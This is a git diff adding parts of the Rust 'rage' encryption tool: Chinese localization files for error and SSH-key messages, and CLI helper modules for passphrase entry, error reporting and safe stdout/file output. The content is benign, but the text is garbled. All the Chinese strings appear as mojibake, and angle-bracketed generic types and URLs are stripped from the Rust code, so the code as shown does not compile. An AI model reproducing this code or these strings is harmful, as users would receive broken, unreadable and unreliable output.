è§£å¯†å¤§çº¦éœ€è¦ {$duration} ç§’ + +err-header-invalid = 标头无效 + +err-header-mac-invalid = 标头消æ¯è®¤è¯ç  (MAC) 无效 + +err-key-decryption = 未能解密加密密钥 + +err-missing-recipients = 缺少接收方。 + +err-no-matching-keys = 未æœç´¢åˆ°åŒ¹é…的密钥 + +err-unknown-format = 未知的 {-age} æ ¼å¼ã€‚ +rec-unknown-format = 您å°è¯•更新至最新版本了å—? + +err-read-identity-not-found = 未æœç´¢åˆ°èº«ä»½æ–‡ä»¶ï¼š {$filename} + +err-read-invalid-recipient = 无效接收方 '{$recipient}'。 + +## SSH identities + +ssh-passphrase-prompt = 输入 {-openssh} 密钥 '{$filename}' 的密ç çŸ­è¯­ + +ssh-unsupported-key = 该 SSH 身份ä¸å—支æŒï¼š {$name} + +ssh-insecure-key-format = + ä¸å®‰å…¨çš„ç§é’¥æ ¼å¼ + -------------- + 在 {-openssh} 7.8 版本之å‰ï¼Œè‹¥åœ¨ç”Ÿæˆæ–° DSAã€ECDSAã€æˆ– RSA 密钥时设定å£ä»¤, {-ssh-keygen} 会使用 PEM åŠ å¯†æ ¼å¼ + æ¥åŠ å¯†å¯†é’¥ã€‚ è¯¥åŠ å¯†æ ¼å¼æ˜¯ä¸å®‰å…¨çš„,且ä¸åº”继续使用。 + + 若您想将密钥è¿ç§»è‡³åР坆 SSH ç§é’¥æ ¼å¼ (该格å¼ä»Ž 2014 一月份的 {-openssh} 6.5 ç‰ˆæœ¬å·²å—æ”¯æŒ), å¯é‡‡ç”¨æ­¤å‘½ä»¤ä»¥æ›´æ¢ + 它的密ç çŸ­è¯­: + + {" "}{$change_passphrase} + + 若您目å‰ä½¿ç”¨çš„æ˜¯ {-openssh} 6.5 —— 7.7 版本 (例如 Ubuntu 18.04 LTS 默认æä¾›çš„ {-openssh}), å¯é‡‡ç”¨æ­¤å‘½ä»¤ä»¥ + 强制使用新格å¼ç”Ÿæˆå¯†é’¥ï¼š + + {" "}{$gen_new} + +ssh-unsupported-cipher = + æœªå—æ”¯æŒçš„ SSH åŠ å¯†å¯†é’¥å¯†ç  + ------------------------ + {-openssh} 内部支æŒå‡ ç§ä¸åŒçš„åŠ å¯†é’¥å¯†ç  ï¼ˆciphers),ä½†å…¶ä¸­åªæœ‰å°‘数是直接生æˆçš„。{-rage} æ”¯æŒæ‰€æœ‰ + {-ssh-keygen} å¯ç”Ÿæˆçš„密ç ï¼Œ å¹¶ä¸”æ­£åœ¨è¿›è¡Œæ›´æ–°ï¼Œä»¥åœ¨ä¸ªæ¡ˆåŸºç¡€ä¸Šæ‰©å±•éžæ ‡å‡†å¯†ç æ”¯æŒã€‚æ‚¨çš„å¯†é’¥ä½¿ç”¨çš„å¯†ç  ({$cipher}) + 当å‰ä¸å—支æŒã€‚ + + 若您希望该密钥类型å¯å—支æŒ, 请在此创建新议题 (issue): + + {$new_issue} diff --git a/lib/rage/age/i18n/zh-TW/age.ftl b/lib/rage/age/i18n/zh-TW/age.ftl new file mode 100644 index 0000000..3caa462 --- /dev/null +++ b/lib/rage/age/i18n/zh-TW/age.ftl @@ -0,0 +1,102 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = 必輸入內容 +cli-secret-input-mismatch = 所輸內容ä¸åŒ¹é… + +cli-passphrase-desc = 輸入密碼短語 (留空則自動生æˆå¼·å¯†ç¢¼çŸ­èªž) +cli-passphrase-prompt = 密碼短語 +cli-passphrase-confirm = 確èªå¯†ç¢¼çŸ­èªž + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = è¢«æˆªæ–·ï¼›è«‹æŽ¡ç”¨ç®¡é“ ï¼ˆpipe)ã€é‡å®šå‘ (redirectï¼‰ã€æˆ– {-flag-output} 以解密整個文件 + +err-detected-binary = 檢測到未能列å°çš„æ•¸æ“šï¼›æ‹’絕輸出至終端。 +rec-detected-binary = 採用 '{-output-stdout}' 強制列å°ã€‚ + +err-deny-binary-output = 拒絕輸出二進ä½å…§å®¹è‡³çµ‚端。 +rec-deny-binary-output = æ‚¨æ˜¯ä¸æ˜¯è¦æŽ¡ç”¨ {-flag-armor}? {rec-detected-binary} + +## Errors + +err-decryption-failed = 解密失敗 + +err-excessive-work = å¯†ç¢¼çŸ­èªžçš„å·¥ä½œåƒæ•¸ (work parameter) éŽé«˜ã€‚ +rec-excessive-work = è§£å¯†å¤§ç´„éœ€è¦ {$duration} ç§’ + +err-header-invalid = 標頭無效 + +err-header-mac-invalid = 標頭消æ¯èªè­‰ç¢¼ (MAC) 無效 + +err-key-decryption = 未能解密加密密鑰 + +err-missing-recipients = 缺少接收方。 + +err-no-matching-keys = 未æœç´¢åˆ°åŒ¹é…的密鑰 + +err-unknown-format = 未知的 {-age} æ ¼å¼ã€‚ +rec-unknown-format = 您嘗試更新至最新版本了嗎? + +err-read-identity-not-found = 未æœç´¢åˆ°èº«ä»½æ–‡ä»¶ï¼š {$filename} + +err-read-invalid-recipient = 無效接收方 '{$recipient}'。 + +## SSH identities + +ssh-passphrase-prompt = 輸入 {-openssh} 密鑰 '{$filename}' 的密碼短語 + +ssh-unsupported-key = 該 SSH 身份ä¸å—支æŒï¼š {$name} + +ssh-insecure-key-format = + ä¸å®‰å…¨çš„ç§é‘°æ ¼å¼ + -------------- + 在 {-openssh} 7.8 版本之å‰ï¼Œè‹¥åœ¨ç”Ÿæˆæ–° DSAã€ECDSAã€æˆ– RSA 密鑰時設定å£ä»¤, {-ssh-keygen} 會使用 PEM åŠ å¯†æ ¼å¼ + 來加密密鑰。 è©²åŠ å¯†æ ¼å¼æ˜¯ä¸å®‰å…¨çš„ï¼Œä¸”ä¸æ‡‰ç¹¼çºŒä½¿ç”¨ã€‚ + + 若您想將密鑰é·ç§»è‡³åР坆 SSH ç§é‘°æ ¼å¼ (該格å¼å¾ž 2014 一月份的 {-openssh} 6.5 ç‰ˆæœ¬å·²å—æ”¯æŒ), å¯æŽ¡ç”¨æ­¤å‘½ä»¤ä»¥æ›´æ› + 它的密碼短語: + + {" "}{$change_passphrase} + + 若您目å‰ä½¿ç”¨çš„æ˜¯ {-openssh} 6.5 —— 7.7 版本 (例如 Ubuntu 18.04 LTS é»˜èªæä¾›çš„ {-openssh}), å¯æŽ¡ç”¨æ­¤å‘½ä»¤ä»¥ + 強制使用新格å¼ç”Ÿæˆå¯†é‘°ï¼š + + {" "}{$gen_new} + +ssh-unsupported-cipher = + æœªå—æ”¯æŒçš„ SSH 加密密鑰密碼 + ------------------------ + {-openssh} 內部支æŒå¹¾ç¨®ä¸åŒçš„加密鑰密碼 (ciphers),ä½†å…¶ä¸­åªæœ‰å°‘數是直接生æˆçš„。{-rage} æ”¯æŒæ‰€æœ‰ + {-ssh-keygen} å¯ç”Ÿæˆçš„密碼, ä¸¦ä¸”æ­£åœ¨é€²è¡Œæ›´æ–°ï¼Œä»¥åœ¨å€‹æ¡ˆåŸºç¤Žä¸Šæ“´å±•éžæ¨™æº–密碼支æŒã€‚您的密鑰使用的密碼 ({$cipher}) + ç•¶å‰ä¸å—支æŒã€‚ + + 若您希望該密鑰類型å¯å—支æŒ, 請在此創建新議題 (issue): + + {$new_issue} diff --git a/lib/rage/age/src/cli_common.rs b/lib/rage/age/src/cli_common.rs new file mode 100644 index 0000000..c508544 --- /dev/null +++ b/lib/rage/age/src/cli_common.rs @@ -0,0 +1,219 @@ +//! Common helpers for CLI binaries. + +use age_core::secrecy::{ExposeSecret, SecretString}; +use pinentry::{ConfirmationDialog, PassphraseInput}; +use rand::{ + distributions::{Distribution, Uniform}, + rngs::OsRng, + CryptoRng, RngCore, +}; +use rpassword::prompt_password; + +use std::io; +use subtle::ConstantTimeEq; + +use crate::{fl, Callbacks}; + +mod error; +pub use error::ReadError; + +pub mod file_io; + +mod identities; +pub use identities::read_identities; + +mod recipients; +pub use recipients::read_recipients; + +const BIP39_WORDLIST: &str = include_str!("../assets/bip39-english.txt"); + +/// A guard that helps to ensure that standard input is only used once. +pub struct StdinGuard { + stdin_used: bool, +} + +impl StdinGuard { + /// Constructs a new `StdinGuard`. + /// + /// `input_is_stdin` should be set to `true` if standard input is being used for + /// plaintext input during encryption, or ciphertext input during decryption. + pub fn new(input_is_stdin: bool) -> Self { + Self { + stdin_used: input_is_stdin, + } + } + + fn open(&mut self, filename: String) -> Result { + let input = file_io::InputReader::new(Some(filename))?; + if matches!(input, file_io::InputReader::Stdin(_)) { + if self.stdin_used { + return Err(ReadError::MultipleStdin); + } + self.stdin_used = true; + } + Ok(input) + } +} + +fn confirm(query: &str, ok: &str, cancel: Option<&str>) -> pinentry::Result { + if let Some(mut input) = ConfirmationDialog::with_default_binary() { + // pinentry binary is available! + input.with_ok(ok).with_timeout(30); + if let Some(cancel) = cancel { + input.with_cancel(cancel); + } + input.confirm(query) + } else { + // Fall back to CLI interface. + let term = console::Term::stderr(); + let initial = format!("{}: (y/n) ", query); + loop { + term.write_str(&initial)?; + let response = term.read_line()?.to_lowercase(); + if ["y", "yes"].contains(&response.as_str()) { + break Ok(true); + } else if ["n", "no"].contains(&response.as_str()) { + break Ok(false); + } + } + } +} + +/// Requests a secret from the user. +/// +/// If a `pinentry` binary is available on the system, it is used to request the secret. +/// If not, we fall back to requesting directly in the CLI via a TTY. +/// +/// This API does not take the secret directly from stdin, because it is specifically +/// intended to take the secret from a human. +/// +/// # Parameters +/// +/// - `description` is the primary information provided to the user about the secret +/// being requested. It is printed in all cases. +/// - `prompt` is a short phrase such as "Passphrase" or "PIN". It is printed in front of +/// the input field when `pinentry` is used. +/// - `confirm` is an optional short phrase such as "Confirm passphrase". Setting it +/// enables input confirmation. +/// - If `confirm.is_some()` then an empty secret is allowed. +pub fn read_secret( + description: &str, + prompt: &str, + confirm: Option<&str>, +) -> pinentry::Result { + // Check for the pinentry environment variable. If it's not present try to use the default + // binary. + let input = if let Ok(pinentry) = std::env::var("PINENTRY_PROGRAM") { + PassphraseInput::with_binary(pinentry) + } else { + PassphraseInput::with_default_binary() + }; + + if let Some(mut input) = input { + // User-set or default pinentry binary is available! + let mismatch_error = fl!("cli-secret-input-mismatch"); + let empty_error = fl!("cli-secret-input-required"); + input + .with_description(description) + .with_prompt(prompt) + .with_timeout(30); + if let Some(confirm_prompt) = confirm { + input.with_confirmation(confirm_prompt, &mismatch_error); + } else { + input.required(&empty_error); + } + input.interact() + } else { + // Fall back to CLI interface. + let passphrase = prompt_password(format!("{}: ", description)).map(SecretString::from)?; + if let Some(confirm_prompt) = confirm { + let confirm_passphrase = + prompt_password(format!("{}: ", confirm_prompt)).map(SecretString::from)?; + + if !bool::from( + passphrase + .expose_secret() + .as_bytes() + .ct_eq(confirm_passphrase.expose_secret().as_bytes()), + ) { + return Err(pinentry::Error::Io(io::Error::new( + io::ErrorKind::InvalidInput, + fl!("cli-secret-input-mismatch"), + ))); + } + } else if passphrase.expose_secret().is_empty() { + return Err(pinentry::Error::Cancelled); + } + + Ok(passphrase) + } +} + +/// Implementation of age callbacks that makes requests to the user via the UI. +#[derive(Clone, Copy)] +pub struct UiCallbacks; + +impl Callbacks for UiCallbacks { + fn display_message(&self, message: &str) { + eprintln!("{}", message); + } + + fn confirm(&self, message: &str, yes_string: &str, no_string: Option<&str>) -> Option { + confirm(message, yes_string, no_string).ok() + } + + fn request_public_string(&self, description: &str) -> Option { + let term = console::Term::stderr(); + term.write_str(description).ok()?; + term.read_line().ok().filter(|s| !s.is_empty()) + } + + fn request_passphrase(&self, description: &str) -> Option { + read_secret(description, &fl!("cli-passphrase-prompt"), None).ok() + } +} + +/// A passphrase. +pub enum Passphrase { + /// Typed by the user. + Typed(SecretString), + /// Generated. + Generated(SecretString), +} + +impl Passphrase { + /// Generates a secure passphrase. + pub fn random(mut rng: R) -> Self { + let between = Uniform::from(0..2048); + let new_passphrase = (0..10) + .map(|_| { + BIP39_WORDLIST + .lines() + .nth(between.sample(&mut rng)) + .expect("index is in range") + }) + .fold(String::new(), |acc, s| { + if acc.is_empty() { + acc + s + } else { + acc + "-" + s + } + }); + Passphrase::Generated(SecretString::from(new_passphrase)) + } +} + +/// Reads a passphrase from stdin, or generates a secure one if none is provided. +pub fn read_or_generate_passphrase() -> pinentry::Result { + let res = read_secret( + &fl!("cli-passphrase-desc"), + &fl!("cli-passphrase-prompt"), + Some(&fl!("cli-passphrase-confirm")), + )?; + + if res.expose_secret().is_empty() { + Ok(Passphrase::random(OsRng)) + } else { + Ok(Passphrase::Typed(res)) + } +} diff --git a/lib/rage/age/src/cli_common/error.rs b/lib/rage/age/src/cli_common/error.rs new file mode 100644 index 0000000..2769ad1 --- /dev/null +++ b/lib/rage/age/src/cli_common/error.rs @@ -0,0 +1,124 @@ +use std::fmt; +use std::io; + +use crate::{wfl, DecryptError}; + +#[cfg(feature = "plugin")] +use crate::wlnfl; + +/// Errors that can occur while reading recipients or identities. +#[derive(Debug)] +pub enum ReadError { + /// An error occured while decrypting passphrase-encrypted identities. + EncryptedIdentities(DecryptError), + /// An age identity was encrypted without a passphrase. + IdentityEncryptedWithoutPassphrase(String), + /// The given identity file could not be found. + IdentityNotFound(String), + /// The given recipient string is invalid. + InvalidRecipient(String), + /// A recipients file contains non-recipient data. + InvalidRecipientsFile { + /// The given recipients file. + filename: String, + /// The first line containing non-recipient data. + line_number: usize, + }, + /// An I/O error occurred while reading. + Io(io::Error), + /// A required plugin could not be found. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + MissingPlugin { + /// The plugin's binary name. + binary_name: String, + }, + /// The given recipients file could not be found. + MissingRecipientsFile(String), + /// Standard input was used by multiple files. + MultipleStdin, + /// A recipient is an `ssh-rsa` public key with a modulus larger than we support. + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + RsaModulusTooLarge, + /// A recipient is a weak `ssh-rsa` public key with a modulus smaller than 2048 bits. + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + RsaModulusTooSmall, + /// The given identity file contains an SSH key that we know how to parse, but that we + /// do not support. + #[cfg(feature = "ssh")] + #[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] + UnsupportedKey(String, crate::ssh::UnsupportedKey), +} + +impl From for ReadError { + fn from(e: io::Error) -> Self { + ReadError::Io(e) + } +} + +impl fmt::Display for ReadError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + ReadError::EncryptedIdentities(e) => e.fmt(f), + ReadError::IdentityEncryptedWithoutPassphrase(filename) => { + wfl!( + f, + "err-read-identity-encrypted-without-passphrase", + filename = filename.as_str(), + ) + } + ReadError::IdentityNotFound(filename) => wfl!( + f, + "err-read-identity-not-found", + filename = filename.as_str(), + ), + ReadError::InvalidRecipient(recipient) => wfl!( + f, + "err-read-invalid-recipient", + recipient = recipient.as_str(), + ), + ReadError::InvalidRecipientsFile { + filename, + line_number, + } => wfl!( + f, + "err-read-invalid-recipients-file", + filename = filename.as_str(), + line_number = line_number, + ), + ReadError::Io(e) => write!(f, "{}", e), + #[cfg(feature = "plugin")] + ReadError::MissingPlugin { binary_name } => { + wlnfl!(f, "err-missing-plugin", plugin_name = binary_name.as_str())?; + wfl!(f, "rec-missing-plugin") + } + ReadError::MissingRecipientsFile(filename) => wfl!( + f, + "err-read-missing-recipients-file", + filename = filename.as_str(), + ), + ReadError::MultipleStdin => wfl!(f, "err-read-multiple-stdin"), + #[cfg(feature = "ssh")] + ReadError::RsaModulusTooLarge => { + wfl!(f, "err-read-rsa-modulus-too-large", max_size = 4096) + } + #[cfg(feature = "ssh")] + ReadError::RsaModulusTooSmall => { + wfl!(f, "err-read-rsa-modulus-too-small") + } + #[cfg(feature = "ssh")] + ReadError::UnsupportedKey(filename, k) => k.display(f, Some(filename.as_str())), + } + } +} + +impl std::error::Error for ReadError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + Self::Io(inner) => Some(inner), + _ => None, + } + } +} diff --git a/lib/rage/age/src/cli_common/file_io.rs b/lib/rage/age/src/cli_common/file_io.rs new file mode 100644 index 0000000..7275df8 --- /dev/null +++ b/lib/rage/age/src/cli_common/file_io.rs @@ -0,0 +1,474 @@ +//! File I/O helpers for CLI binaries. + +use std::fmt; +use std::fs::{File, OpenOptions}; +use std::io::{self, Read, Write}; +use std::path::Path; + +#[cfg(unix)] +use std::os::unix::fs::OpenOptionsExt; + +use is_terminal::IsTerminal; +use zeroize::Zeroize; + +use crate::{fl, util::LINE_ENDING, wfl, wlnfl}; + +const SHORT_OUTPUT_LENGTH: usize = 20 * 80; + +#[derive(Debug)] +enum FileError { + DenyBinaryOutput, + DenyOverwriteFile(String), + DetectedBinaryOutput, + InvalidFilename(String), + MissingDirectory(String), +} + +impl fmt::Display for FileError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::DenyBinaryOutput => { + wlnfl!(f, "err-deny-binary-output")?; + wfl!(f, "rec-deny-binary-output") + } + Self::DenyOverwriteFile(filename) => { + wfl!(f, "err-deny-overwrite-file", filename = filename.as_str()) + } + Self::DetectedBinaryOutput => { + wlnfl!(f, "err-detected-binary")?; + wfl!(f, "rec-detected-binary") + } + Self::InvalidFilename(filename) => { + wfl!(f, "err-invalid-filename", filename = filename.as_str()) + } + Self::MissingDirectory(path) => wfl!(f, "err-missing-directory", path = path.as_str()), + } + } +} + +impl std::error::Error for FileError {} + +/// Wrapper around a [`File`]. +pub struct FileReader { + inner: File, + filename: String, +} + +/// Wrapper around either a file or standard input. +pub enum InputReader { + /// Wrapper around a file. + File(FileReader), + /// Wrapper around standard input. + Stdin(io::Stdin), +} + +impl InputReader { + /// Reads input from the given filename, or standard input if `None` or `Some("-")`. + pub fn new(input: Option) -> io::Result { + if let Some(filename) = input { + // Respect the Unix convention that "-" as an input filename + // parameter is an explicit request to use standard input. + if filename != "-" { + return Ok(InputReader::File(FileReader { + inner: File::open(&filename)?, + filename, + })); + } + } + + Ok(InputReader::Stdin(io::stdin())) + } + + /// Returns true if this input is from a terminal, and a user is likely typing it. + pub fn is_terminal(&self) -> bool { + matches!(self, Self::Stdin(_)) && io::stdin().is_terminal() + } + + pub(crate) fn filename(&self) -> Option<&str> { + if let Self::File(f) = self { + Some(&f.filename) + } else { + None + } + } +} + +impl Read for InputReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + match self { + InputReader::File(f) => f.inner.read(buf), + InputReader::Stdin(handle) => handle.read(buf), + } + } +} + +/// A stdout write that optionally buffers the entire output before writing. +#[derive(Debug)] +enum StdoutBuffer { + Direct(io::Stdout), + Buffered(Vec), +} + +impl StdoutBuffer { + fn direct() -> Self { + Self::Direct(io::stdout()) + } + + fn buffered() -> Self { + Self::Buffered(Vec::with_capacity(8 * 1024 * 1024)) + } +} + +impl Write for StdoutBuffer { + fn write(&mut self, data: &[u8]) -> io::Result { + match self { + StdoutBuffer::Direct(w) => w.write(data), + StdoutBuffer::Buffered(buf) => { + // If we need to re-allocate the buffer, do so manually so we can zeroize. + if buf.len() + data.len() > buf.capacity() { + let mut new_buf = Vec::with_capacity(std::cmp::max( + buf.capacity() * 2, + buf.capacity() + data.len(), + )); + new_buf.extend_from_slice(buf); + buf.zeroize(); + *buf = new_buf; + } + + buf.extend_from_slice(data); + Ok(data.len()) + } + } + } + + fn flush(&mut self) -> io::Result<()> { + match self { + StdoutBuffer::Direct(w) => w.flush(), + StdoutBuffer::Buffered(buf) => { + let mut w = io::stdout(); + w.write_all(buf)?; + buf.zeroize(); + buf.clear(); + w.flush() + } + } + } +} + +impl Drop for StdoutBuffer { + fn drop(&mut self) { + // Destructors should not panic, so we ignore a failed flush. + let _ = self.flush(); + } +} + +/// The data format being written out. +#[derive(Debug)] +pub enum OutputFormat { + /// Binary data that should not be sent to a TTY by default. + Binary, + /// Text data that is acceptable to send to a TTY. + Text, + /// Unknown data format; try to avoid sending binary data to a TTY. + Unknown, +} + +/// Writer that wraps standard output to handle TTYs nicely. +#[derive(Debug)] +pub struct StdoutWriter { + inner: StdoutBuffer, + count: usize, + format: OutputFormat, + is_tty: bool, + truncated: bool, +} + +impl StdoutWriter { + fn new(format: OutputFormat, is_tty: bool, input_is_tty: bool) -> Self { + StdoutWriter { + // If the input comes from a TTY and the output will go to a TTY, buffer the + // output so it doesn't get in the way of typing the input. + inner: if input_is_tty && is_tty { + StdoutBuffer::buffered() + } else { + StdoutBuffer::direct() + }, + count: 0, + format, + is_tty, + truncated: false, + } + } +} + +impl Write for StdoutWriter { + fn write(&mut self, data: &[u8]) -> io::Result { + if self.is_tty { + if let OutputFormat::Unknown = self.format { + // Don't send unprintable output to TTY + if std::str::from_utf8(data).is_err() { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + FileError::DetectedBinaryOutput, + )); + } + } + + let to_write = if let OutputFormat::Binary = self.format { + // Only occurs if the user has explicitly forced stdout, so don't truncate. + data.len() + } else { + // Drop output if we've truncated already, or need to. + if self.truncated || self.count == SHORT_OUTPUT_LENGTH { + if !self.truncated { + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.inner.write_all(b"[")?; + self.inner.write_all(fl!("cli-truncated-tty").as_bytes())?; + self.inner.write_all(b"]")?; + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.truncated = true; + } + + return io::sink().write(data); + } + + let mut to_write = SHORT_OUTPUT_LENGTH - self.count; + if to_write > data.len() { + to_write = data.len(); + } + to_write + }; + + let mut ret = self.inner.write(&data[..to_write])?; + self.count += to_write; + + if let OutputFormat::Binary = self.format { + // Only occurs if the user has explicitly forced stdout, so don't truncate. + } else { + // If we have reached the output limit with data to spare, + // truncate and drop the remainder. + if self.count == SHORT_OUTPUT_LENGTH && data.len() > to_write { + if !self.truncated { + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.inner.write_all(b"[")?; + self.inner.write_all(fl!("cli-truncated-tty").as_bytes())?; + self.inner.write_all(b"]")?; + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.truncated = true; + } + ret += io::sink().write(&data[to_write..])?; + } + } + + Ok(ret) + } else { + self.inner.write(data) + } + } + + fn flush(&mut self) -> io::Result<()> { + self.inner.flush() + } +} + +/// A lazy [`File`] that is not opened until the first call to [`Write::write`] or +/// [`Write::flush`]. +#[derive(Debug)] +pub struct LazyFile { + filename: String, + allow_overwrite: bool, + #[cfg(unix)] + mode: u32, + file: Option>, +} + +impl LazyFile { + fn get_file(&mut self) -> io::Result<&mut File> { + let filename = &self.filename; + + if self.file.is_none() { + let mut options = OpenOptions::new(); + options.write(true); + if self.allow_overwrite { + options.create(true).truncate(true); + } else { + // In addition to the check in `OutputWriter::new`, we enforce this at + // file opening time to avoid a race condition with the file being + // separately created between `OutputWriter` construction and usage. + options.create_new(true); + } + + #[cfg(unix)] + options.mode(self.mode); + + self.file = Some(options.open(filename)); + } + + self.file + .as_mut() + .unwrap() + .as_mut() + .map_err(|e| io::Error::new(e.kind(), format!("Failed to open file '{}'", filename))) + } +} + +impl io::Write for LazyFile { + fn write(&mut self, buf: &[u8]) -> io::Result { + self.get_file()?.write(buf) + } + + fn flush(&mut self) -> io::Result<()> { + self.get_file()?.flush() + } +} + +/// Wrapper around either a file or standard output. +#[derive(Debug)] +pub enum OutputWriter { + /// Wrapper around a file. + File(LazyFile), + /// Wrapper around standard output. + Stdout(StdoutWriter), +} + +impl OutputWriter { + /// Constructs a new `OutputWriter`. + /// + /// Writes to the file at path `output`, or standard output if `output` is `None` or + /// `Some("-")`. + /// + /// If `allow_overwrite` is `true`, the file at path `output` will be overwritten if + /// it exists. This option has no effect if `output` is `None` or `Some("-")`. + pub fn new( + output: Option, + allow_overwrite: bool, + mut format: OutputFormat, + _mode: u32, + input_is_tty: bool, + ) -> io::Result { + let is_tty = console::user_attended(); + if let Some(filename) = output { + // Respect the Unix convention that "-" as an output filename + // parameter is an explicit request to use standard output. + if filename != "-" { + let file_path = Path::new(&filename); + + // Provide a better error if the filename is invalid, or the directory + // containing the file does not exist (we don't automatically create + // directories). + if let Some(dir_path) = file_path.parent() { + if !(dir_path == Path::new("") || dir_path.exists()) { + return Err(io::Error::new( + io::ErrorKind::NotFound, + FileError::MissingDirectory(dir_path.display().to_string()), + )); + } + } else { + return Err(io::Error::new( + io::ErrorKind::NotFound, + FileError::InvalidFilename(filename), + )); + } + + // We open the file lazily, but as we don't want the caller to assume + // this, we eagerly confirm that the file does not exist if we can't + // overwrite it. + if !allow_overwrite && file_path.exists() { + return Err(io::Error::new( + io::ErrorKind::AlreadyExists, + FileError::DenyOverwriteFile(filename), + )); + } + + return Ok(OutputWriter::File(LazyFile { + filename, + allow_overwrite, + #[cfg(unix)] + mode: _mode, + file: None, + })); + } else { + // User explicitly requested stdout; force the format to binary so that we + // don't try to parse it as UTF-8 in StdoutWriter and perhaps reject it. + format = OutputFormat::Binary; + } + } else if is_tty { + if let OutputFormat::Binary = format { + // If output == Some("-") then this error is skipped. + return Err(io::Error::new( + io::ErrorKind::Other, + FileError::DenyBinaryOutput, + )); + } + } + + Ok(OutputWriter::Stdout(StdoutWriter::new( + format, + is_tty, + input_is_tty, + ))) + } + + /// Returns true if this output is to a terminal, and a user will likely see it. + pub fn is_terminal(&self) -> bool { + match self { + OutputWriter::File(..) => false, + OutputWriter::Stdout(w) => w.is_tty, + } + } +} + +impl Write for OutputWriter { + fn write(&mut self, data: &[u8]) -> io::Result { + match self { + OutputWriter::File(f) => f.write(data), + OutputWriter::Stdout(handle) => handle.write(data), + } + } + + fn flush(&mut self) -> io::Result<()> { + match self { + OutputWriter::File(f) => f.flush(), + OutputWriter::Stdout(handle) => handle.flush(), + } + } +} + +#[cfg(test)] +pub(crate) mod tests { + #[cfg(unix)] + use super::{OutputFormat, OutputWriter}; + #[cfg(unix)] + use std::io::Write; + + #[cfg(unix)] + #[test] + fn lazy_existing_file_allow_overwrite() { + OutputWriter::new( + Some("/dev/null".to_string()), + true, + OutputFormat::Text, + 0o600, + false, + ) + .unwrap() + .flush() + .unwrap(); + } + + #[cfg(unix)] + #[test] + fn lazy_existing_file_forbid_overwrite() { + use std::io; + + let e = OutputWriter::new( + Some("/dev/null".to_string()), + false, + OutputFormat::Text, + 0o600, + false, + ) + .unwrap_err(); + assert_eq!(e.kind(), io::ErrorKind::AlreadyExists); + } +} diff --git a/lib/rage/age/src/cli_common/identities.rs b/lib/rage/age/src/cli_common/identities.rs new file mode 100644 index 0000000..e9625a3 --- /dev/null +++ b/lib/rage/age/src/cli_common/identities.rs @@ -0,0 +1,264 @@ +use std::io::{self, BufReader}; + +use super::{ReadError, StdinGuard, UiCallbacks}; +use crate::{identity::IdentityFile, Identity}; + +#[cfg(feature = "armor")] +use crate::{armor::ArmoredReader, cli_common::file_io::InputReader}; + +/// Reads identities from the provided files. +/// +/// `filenames` may contain at most one entry of `"-"`, which will be interpreted as +/// reading from standard input. An error will be returned if `stdin_guard` is guarding an +/// existing usage of standard input. +pub fn read_identities( + filenames: Vec, + max_work_factor: Option, + stdin_guard: &mut StdinGuard, +) -> Result>, ReadError> { + let mut identities: Vec> = Vec::with_capacity(filenames.len()); + + parse_identity_files::<_, ReadError>( + filenames, + max_work_factor, + stdin_guard, + &mut identities, + #[cfg(feature = "armor")] + |identities, identity| { + identities.push(Box::new(identity)); + Ok(()) + }, + #[cfg(feature = "ssh")] + |identities, _, identity| { + identities.push(Box::new(identity.with_callbacks(UiCallbacks))); + Ok(()) + }, + |identities, identity_file| { + let new_identities = identity_file.into_identities(); + + #[cfg(feature = "plugin")] + let new_identities = new_identities.map_err(|e| match e { + #[cfg(feature = "plugin")] + crate::DecryptError::MissingPlugin { binary_name } => { + ReadError::MissingPlugin { binary_name } + } + // DecryptError::MissingPlugin is the only possible error kind returned by + // IdentityFileEntry::into_identity. + _ => unreachable!(), + })?; + + // IdentityFileEntry::into_identity will never return a MissingPlugin error + // when plugin feature is not enabled. + #[cfg(not(feature = "plugin"))] + let new_identities = new_identities.unwrap(); + + identities.extend(new_identities); + + Ok(()) + }, + )?; + + Ok(identities) +} + +/// Parses the provided identity files. +pub(super) fn parse_identity_files + From>( + filenames: Vec, + _max_work_factor: Option, + stdin_guard: &mut StdinGuard, + ctx: &mut Ctx, + #[cfg(feature = "armor")] encrypted_identity: impl Fn( + &mut Ctx, + crate::encrypted::Identity>, UiCallbacks>, + ) -> Result<(), E>, + #[cfg(feature = "ssh")] ssh_identity: impl Fn(&mut Ctx, &str, crate::ssh::Identity) -> Result<(), E>, + identity_file: impl Fn(&mut Ctx, crate::IdentityFile) -> Result<(), E>, +) -> Result<(), E> { + for filename in filenames { + #[cfg_attr(not(any(feature = "armor", feature = "ssh")), allow(unused_mut))] + let mut reader = + PeekableReader::new(stdin_guard.open(filename.clone()).map_err(|e| match e { + ReadError::Io(e) if matches!(e.kind(), io::ErrorKind::NotFound) => { + ReadError::IdentityNotFound(filename.clone()) + } + _ => e, + })?); + + // Note to future self: the order in which we try parsing formats here is critical + // to the correct behaviour of `PeekableReader::fill_buf`. See the comments in + // that method. + + #[cfg(feature = "armor")] + // Try parsing as an encrypted age identity. + if crate::encrypted::Identity::from_buffer( + ArmoredReader::new_buffered(&mut reader), + Some(filename.clone()), + UiCallbacks, + 